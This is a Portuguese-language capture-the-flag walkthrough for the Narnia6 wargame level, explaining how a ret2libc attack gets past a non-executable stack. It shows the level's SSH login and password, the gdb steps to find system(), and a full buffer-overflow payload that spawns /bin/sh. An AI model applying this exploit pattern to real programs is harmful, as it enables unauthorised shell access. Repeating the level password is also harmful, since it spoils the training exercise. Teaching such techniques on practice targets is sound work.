Essa é uma proteção que desabilita qualquer bit de execução na Stack, ou seja, não é possível utilizar um shellcode para spawnar uma shell ou algo do tipo
Felizmente (ou infelizmente pros ademir), existe um bypass pra essa proteção, que utiliza os recursos da libc para fazer uma execução no sistema
Conecte-se ao narnia6 dessa vez, para a demonstração dessa técnica [email protected] -p2226
Senha neezocaeng
O narnia6 exige 2 argumentos, ou seja, ele contém 2 buffers
Se você olhar a source, vai notar que os 2 buffers alocam 8 bytes
Vamos começar a depuração, repare que o NX
está habilitado
De início, vamos escrever um payload pra 2 buffers, e que cada buffer contenha 8 bytes, o que seria o nosso offset
run $(perl -e 'print "a"x8 . "xxxx"') $(perl -e 'print "b"x8 . "xxxx"')
porém, não envie esse payload, antes vamos ter que resgatar algumas coisas...
Para conseguir o endereço dessa função é simples, no depurador, sete execute um b main
para setar um breakpoint na função main
Inicie o programa, e assim que o breakpoint for atingido digite p system
para printar o endereço da system
Agora é a parte fácil...
Pegue esse endereço, e monte o payload da seguinte forma $(perl -e 'print "a"x8 . "\x50\xc8\xe4\xf7"') $(perl -e 'print "b"x8 . "/bin/sh"')
Feito isso, basta enviar
./narnia6 $(perl -e 'print "a"x8 . "\x50\xc8\xe4\xf7"') $(perl -e 'print "b"x8 . "/bin/sh"')